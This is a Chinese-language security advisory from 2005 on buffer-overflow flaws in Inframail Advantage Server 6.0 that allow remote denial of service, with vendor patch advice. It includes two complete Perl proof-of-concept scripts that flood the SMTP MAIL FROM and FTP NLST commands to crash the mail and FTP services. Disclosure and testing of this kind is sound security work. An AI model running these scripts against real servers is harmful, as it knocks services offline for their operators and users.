发布日期：2005-06-29
更新日期：2005-06-29

受影响系统：

Infradig Systems Inframail Advantage Server Edition 6.0

描述：

---

BUGTRAQ  ID: 14077

Inframail是一款低成本的邮件服务器套件。

Infradig Systems Inframail Advantage Server Edition 6.0中存在多个缓冲区溢出漏洞，可能导致远程拒绝服务攻击。

起因是没有正确地检查和/或过滤对SMTP MAIL FROM:命令和FTP NLST命令的输入。如果发布大约40960次“A”字符作为MAIL FROM:命令的参数的话就会导致ifmail.exe进程死掉并重新启动；如果发布大约102400次“A”字符作为对NLST命令的参数然后再重复一次上述操作的话，就可能导致ifmailsvc.exe下运行的所有进程（包括slapd.exe，slurpd.exe，ifmail.exe，ifweb.exe等）死掉并重新启动。

<*来源：Reed Arvin （reedarvin@gmail.com）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=111998161006731&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#===== Start Inframail_SMTPOverflow.pl =====
#
# Usage: Inframail_SMTPOverflow.pl <ip>
#        Inframail_SMTPOverflow.pl 127.0.0.1
#
# Infradig Systems Inframail Advantage Server Edition 6.0
# (Version: 6.37)
#
# Download:
# http://www.infradig.com/
#
###########################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "25",
                                    Proto    => "TCP"))
{
        print "Attempting to kill Inframail SMTP server at $ARGV[0]:25...";

        sleep(1);

        print $socket "HELO moto.com\r\n";

        sleep(1);

        print $socket "MAIL FROM:" . "A" x 40960 . "\r\n";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:25\n";
}
#===== End Inframail_SMTPOverflow.pl =====

#===== Start Inframail_FTPOverflow.pl =====
#
# Usage: Inframail_FTPOverflow.pl <ip>
#        Inframail_FTPOverflow.pl 127.0.0.1
#
# Infradig Systems Inframail Advantage Server Edition 6.0
# (Version: 6.37)
#
# Download:
# http://www.infradig.com/
#
###########################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "21",
                                    Proto    => "TCP"))
{
        print "Attempting to kill Inframail FTP server at $ARGV[0]:21...";

        sleep(1);

        print $socket "USER hello\r\n";

        sleep(1);

        print $socket "PASS moto\r\n";

        sleep(1);

        print $socket "NLST " . "A" x 102400 . "\r\n";

        sleep(1);

        print $socket "NLST " . "A" x 102400 . "\r\n";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:21\n";
}
#===== End Inframail_FTPOverflow.pl =====

建议：

---

厂商补丁：

Infradig Systems
----------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载7.12软件版本：

http://www.infradig.com/

浏览次数：3237
严重程度：0（网友投票）